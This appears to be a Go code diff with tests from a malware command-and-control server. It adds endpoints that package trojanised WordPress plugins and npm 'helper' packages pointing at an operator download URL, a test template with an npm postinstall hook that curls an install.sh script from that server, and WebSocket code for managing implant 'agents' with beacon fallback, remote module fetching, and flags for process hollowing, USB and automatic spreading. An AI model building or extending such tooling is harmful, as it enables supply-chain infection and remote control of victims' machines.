// POST /api/v1/builder/wordpress-plugin-export
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
var req wordpressPluginExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
req.SiteName = strings.TrimSpace(req.SiteName)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.SiteName == "" {
http.Error(w, "site_name required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
return
}
slug := sanitizeExportSlug(req.SiteName)
wpCampaign := "wp-" + slug
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
if req.BuildID != "" {
downloadURL += "&pin=" + req.BuildID
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": wpCampaign,
"{{SITE_NAME}}": slug,
"{{PLUGIN_SLUG}}": slug,
"{{PLUGIN_NAME}}": slugDisplayName(slug),
"{{WP_CAMPAIGN}}": wpCampaign,
"{{DOWNLOAD_URL}}": downloadURL,
"{{VERSION}}": "1.0.0",
}
remap := func(rel string) string {
rel = filepath.ToSlash(rel)
if rel == "plugin.php" {
return slug + "/" + slug + ".php"
}
return slug + "/" + rel
}
data, err := zipTemplateReplacements(templateDir, repl, remap)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
}
// POST /api/v1/builder/npm-helper-export
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
var req npmHelperExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Campaign == "" {
req.Campaign = "npm-helper"
}
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "npm helper templates not found", http.StatusNotFound)
return
}
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{PACKAGE_NAME}}": pkgName,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
}
// PUT /api/v1/builds/{id}/public

View File

@@ -0,0 +1,170 @@
package api
import (
"archive/zip"
"bytes"
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
)
func writeSpreadTemplates(t *testing.T, root string) {
t.Helper()
wpDir := filepath.Join(root, "templates", "wordpress-plugin", "plugin-template")
if err := os.MkdirAll(wpDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(wpDir, "plugin.php"), []byte("<?php // {{PLUGIN_SLUG}} {{DOWNLOAD_URL}}\n"), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(wpDir, "readme.txt"), []byte("Stable tag: {{VERSION}}\nCampaign: {{WP_CAMPAIGN}}\n"), 0644); err != nil {
t.Fatal(err)
}
npmDir := filepath.Join(root, "templates", "npm-helper-package", "scripts")
if err := os.MkdirAll(npmDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(root, "templates", "npm-helper-package", "package.json"), []byte(`{"name":"{{PACKAGE_NAME}}","scripts":{"postinstall":"curl {{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}"}}`), 0644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(npmDir, "postinstall.cjs"), []byte("// {{CAMPAIGN}}\n"), 0644); err != nil {
t.Fatal(err)
}
spreadDir := filepath.Join(root, "spread-kit-web-publisher")
if err := os.MkdirAll(spreadDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
t.Fatal(err)
}
}
func readZipEntries(t *testing.T, body []byte) map[string]string {
t.Helper()
zr, err := zip.NewReader(bytes.NewReader(body), int64(len(body)))
if err != nil {
t.Fatal(err)
}
out := make(map[string]string)
for _, f := range zr.File {
rc, err := f.Open()
if err != nil {
t.Fatal(err)
}
data, err := io.ReadAll(rc)
rc.Close()
if err != nil {
t.Fatal(err)
}
out[f.Name] = string(data)
}
return out
}
func TestExportWordPressPluginZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"build_id": "build-abc",
"server_url": "https://deck.example:8989",
"site_name": "My Blog",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportWordPressPlugin(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
t.Fatalf("content-type %q", ct)
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "my-blog-wordpress-plugin.zip") {
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
}
entries := readZipEntries(t, rec.Body.Bytes())
php, ok := entries["my-blog/my-blog.php"]
if !ok {
t.Fatalf("expected my-blog/my-blog.php in zip, got %v", entries)
}
wantURL := "https://deck.example:8989/get?c=wp-my-blog&pin=build-abc"
if !strings.Contains(php, wantURL) {
t.Fatalf("php missing download url %q: %s", wantURL, php)
}
if readme, ok := entries["my-blog/readme.txt"]; !ok || !strings.Contains(readme, "wp-my-blog") {
t.Fatalf("readme missing campaign: %v", entries["my-blog/readme.txt"])
}
}
func TestExportNpmHelperZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"build_id": "pin-1",
"server_url": "https://deck.example",
"campaign": "ci-bootstrap",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/npm-helper-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportNpmHelper(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
pkg := entries["package.json"]
if !strings.Contains(pkg, "@aetherforge/ci-bootstrap-helper") {
t.Fatalf("package.json: %s", pkg)
}
if !strings.Contains(pkg, "https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap") {
t.Fatalf("package.json missing install url: %s", pkg)
}
}
func TestExportSpreadKitZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{
"server_url": "https://deck.example",
"campaign": "wave-a",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-kit-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
if !strings.Contains(entries["index.html"], "https://deck.example?c=wave-a") {
t.Fatalf("index.html: %s", entries["index.html"])
}
}
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportWordPressPlugin(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}

View File

@@ -36,38 +36,43 @@ func coalesceStr(vals ...string) string {
return ""
}
// checkDashboardWSToken validates dashboard WS upgrade credentials.
// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
func checkDashboardWSToken(r *http.Request) bool {
func resolveDashboardWSUser(r *http.Request) (string, bool) {
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
_, ok := consumeWSTicket(ticket)
return ok
return consumeWSTicket(ticket)
}
token := r.URL.Query().Get("token")
if token == "" {
return false
return "", false
}
decoded, err := base64.StdEncoding.DecodeString(token)
if err != nil {
return false
return "", false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return false
return "", false
}
user, pass := parts[0], parts[1]
if authCacheHit(user, pass) {
return true
return user, true
}
usersMu.RLock()
stored, exists := authUsers[user]
usersMu.RUnlock()
if !exists || !checkPassword(stored, pass) {
return false
return "", false
}
authCacheSet(user, pass)
return true
return user, true
}
// checkDashboardWSToken validates dashboard WS upgrade credentials.
func checkDashboardWSToken(r *http.Request) bool {
_, ok := resolveDashboardWSUser(r)
return ok
}
var upgrader = websocket.Upgrader{
@@ -102,8 +107,10 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
Conn *websocket.Conn
mu sync.Mutex
Username string
Page string
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
@@ -157,9 +164,10 @@ type WSHub struct {
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
beaconPolicyQueue map[string][]FleetAgentPolicy
}
func NewWSHub(database *db.Database) *WSHub {
@@ -182,6 +190,7 @@ func NewWSHub(database *db.Database) *WSHub {
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
pingIntervalSec: 30,
}
@@ -189,6 +198,7 @@ func NewWSHub(database *db.Database) *WSHub {
// 3 minutes old but the row still says "online", force it offline.
// This catches TCP half-open drops that slip past the ping/pong timeout.
go h.runStaleAgentSweep()
go h.runWarRoomBroadcast()
return h
}
@@ -735,6 +745,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
break
}
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
}
if policy.LogAgentConnections {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
@@ -763,6 +777,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.agents[agentID] = ac
h.mu.Unlock()
h.FlushBeaconPoliciesToWS(agentID)
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
@@ -1123,6 +1138,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
})
case "capabilities_update":
if agentID == "" {
continue
}
var caps models.AgentCapabilities
if err := json.Unmarshal(msg.Payload, &caps); err != nil {
continue
}
h.UpdateAgentCapabilities(agentID, caps)
case "policy_ack":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
case "command_result":
if agentID == "" {
continue
@@ -1162,8 +1198,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
if !checkDashboardWSToken(r) {
username, ok := resolveDashboardWSUser(r)
if !ok {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
return
@@ -1175,7 +1211,7 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
return
}
dc := &DashboardConn{Conn: conn}
dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = dc
@@ -1184,7 +1220,16 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
defer func() {
h.mu.Lock()
delete(h.dashboards, dashID)
remaining := 0
for _, d := range h.dashboards {
if d.Username == username {
remaining++
}
}
h.mu.Unlock()
if remaining == 0 {
h.broadcastPresenceUpdate(username, "", false)
}
conn.Close()
}()
@@ -1209,15 +1254,49 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
"agents": agents,
"stats": stats,
})})
_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
"comrades": h.presenceSnapshotLocked(),
})})
h.broadcastPresenceUpdate(username, dc.Page, true)
go h.runPingLoopDash(dc)
// Keep connection alive, read close messages
for {
_, _, err := conn.ReadMessage()
_, data, err := conn.ReadMessage()
if err != nil {
break
}
var msg Message
if json.Unmarshal(data, &msg) != nil {
continue
}
switch msg.Type {
case "presence_page":
var body struct {
Page string `json:"page"`
}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
page := strings.TrimSpace(body.Page)
if page == "" {
page = "/dashboard"
}
h.mu.Lock()
if d, exists := h.dashboards[dashID]; exists {
d.Page = page
}
h.mu.Unlock()
h.broadcastPresenceUpdate(username, page, true)
case "notes_typing":
var body struct {
Active bool `json:"active"`
}
if json.Unmarshal(msg.Payload, &body) != nil {
continue
}
h.broadcastNotesTyping(username, body.Active)
}
}
}
@@ -1345,6 +1424,93 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}
// ResolveAgentTargets expands "all" to connected agent IDs.
func (h *WSHub) ResolveAgentTargets(ids []string) []string {
if len(ids) == 0 {
return nil
}
for _, id := range ids {
if id == "all" {
return h.ConnectedAgentIDs()
}
}
return ids
}
// PushPolicyUpdate sends policy_update to each target agent.
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
if policy.IsEmpty() {
return 0, len(agentIDs)
}
payload := marshalPolicyUpdatePayload(pushID, policy)
for _, id := range agentIDs {
if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
if h.EnqueueBeaconPolicy(id, policy) {
sent++
} else {
failed++
}
} else {
sent++
}
}
return sent, failed
}
// PushModuleFetch asks agents to download and apply a module pack.
func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
args := map[string]interface{}{"module": moduleName}
for _, id := range agentIDs {
if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
failed++
} else {
sent++
}
}
return sent, failed
}
// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
h.mu.Lock()
cur, ok := h.agentCapabilities[agentID]
if !ok {
cur = models.AgentCapabilities{}
}
if patch.HolePunch {
cur.HolePunch = true
}
if patch.RemoteAggressive {
cur.RemoteAggressive = true
}
if patch.MeshP2P {
cur.MeshP2P = true
}
if patch.AutoSpread {
cur.AutoSpread = true
}
if patch.ProcessHollowing {
cur.ProcessHollowing = true
}
if patch.AIEnabled {
cur.AIEnabled = true
}
if patch.USBSpread {
cur.USBSpread = true
}
h.agentCapabilities[agentID] = cur
caps := cur
h.mu.Unlock()
h.broadcastDashboard(Message{
Type: "agent_capabilities",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"capabilities": caps,
}),
})
}
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -1425,3 +1591,82 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
Payload: mustMarshal(notes),
})
}
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
func (h *WSHub) runWarRoomBroadcast() {
if h.db == nil {
return
}
ticker := time.NewTicker(30 * time.Second)
defer ticker.Stop()
for range ticker.C {
data, err := h.db.ListWarRoom(7)
if err != nil {
continue
}
h.broadcastDashboard(Message{
Type: "emberwake_war_room",
Payload: mustMarshal(data),
})
}
}
type wsPresenceEntry struct {
User string `json:"user"`
Page string `json:"page"`
Online bool `json:"online"`
Ts int64 `json:"ts"`
}
func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
byUser := make(map[string]wsPresenceEntry)
for _, dc := range h.dashboards {
if dc.Username == "" {
continue
}
page := dc.Page
if page == "" {
page = "/dashboard"
}
byUser[dc.Username] = wsPresenceEntry{
User: dc.Username,
Page: page,
Online: true,
Ts: time.Now().UnixMilli(),
}
}
out := make([]wsPresenceEntry, 0, len(byUser))
for _, e := range byUser {
out = append(out, e)
}
return out
}
func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
if user == "" {
return
}
h.broadcastDashboard(Message{
Type: "presence_update",
Payload: mustMarshal(wsPresenceEntry{
User: user,
Page: page,
Online: online,
Ts: time.Now().UnixMilli(),
}),
})
}
func (h *WSHub) broadcastNotesTyping(user string, active bool) {
if user == "" {
return
}
h.broadcastDashboard(Message{
Type: "notes_typing",
Payload: mustMarshal(map[string]interface{}{
"user": user,
"active": active,
"ts": time.Now().UnixMilli(),
}),
})
}

View File

@@ -159,6 +159,102 @@ func TestHandleDashboardWSAuthorizedInit(t *testing.T) {
}
}
func resetWSAuthUsersMulti(t *testing.T, creds map[string]string) {
t.Helper()
users := make(map[string]string, len(creds))
for user, pass := range creds {
hashed, err := hashPassword(pass)
if err != nil {
t.Fatal(err)
}
users[user] = hashed
}
usersMu.Lock()
authUsers = users
usersMu.Unlock()
t.Cleanup(func() {
usersMu.Lock()
authUsers = map[string]string{}
usersMu.Unlock()
})
}
func TestHandleDashboardWSPresence(t *testing.T) {
resetWSAuthUsersMulti(t, map[string]string{"india": "secret-pass", "comrade": "secret-pass"})
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(srv.Close)
base := "ws" + strings.TrimPrefix(srv.URL, "http")
dial := func(user string) *websocket.Conn {
t.Helper()
conn, _, err := websocket.DefaultDialer.Dial(base+"?token="+wsDashboardToken(user, "secret-pass"), nil)
if err != nil {
t.Fatalf("dial %s: %v", user, err)
}
t.Cleanup(func() { _ = conn.Close() })
var init Message
if err := conn.ReadJSON(&init); err != nil || init.Type != "init" {
t.Fatalf("read init for %s: %v type=%q", user, err, init.Type)
}
var snap Message
if err := conn.ReadJSON(&snap); err != nil || snap.Type != "presence_snapshot" {
t.Fatalf("read presence_snapshot for %s: %v type=%q", user, err, snap.Type)
}
return conn
}
connA := dial("india")
connB := dial("comrade")
waitForMessage := func(conn *websocket.Conn, wantType, wantUser string, check func(map[string]interface{}) bool) {
t.Helper()
deadline := time.Now().Add(3 * time.Second)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(250 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
continue
}
if msg.Type != wantType {
continue
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
continue
}
if wantUser != "" && body["user"] != wantUser {
continue
}
if check != nil && !check(body) {
continue
}
return
}
t.Fatalf("timed out waiting for %s user=%q", wantType, wantUser)
}
if err := connA.WriteJSON(Message{Type: "presence_page", Payload: mustMarshal(map[string]string{"page": "/crucible"})}); err != nil {
t.Fatal(err)
}
waitForMessage(connB, "presence_update", "india", func(body map[string]interface{}) bool {
return body["page"] == "/crucible" && body["online"] == true
})
if err := connA.WriteJSON(Message{Type: "notes_typing", Payload: mustMarshal(map[string]bool{"active": true})}); err != nil {
t.Fatal(err)
}
waitForMessage(connB, "notes_typing", "india", func(body map[string]interface{}) bool {
return body["active"] == true
})
}
func TestHandleAgentWSBadFleetSecret(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {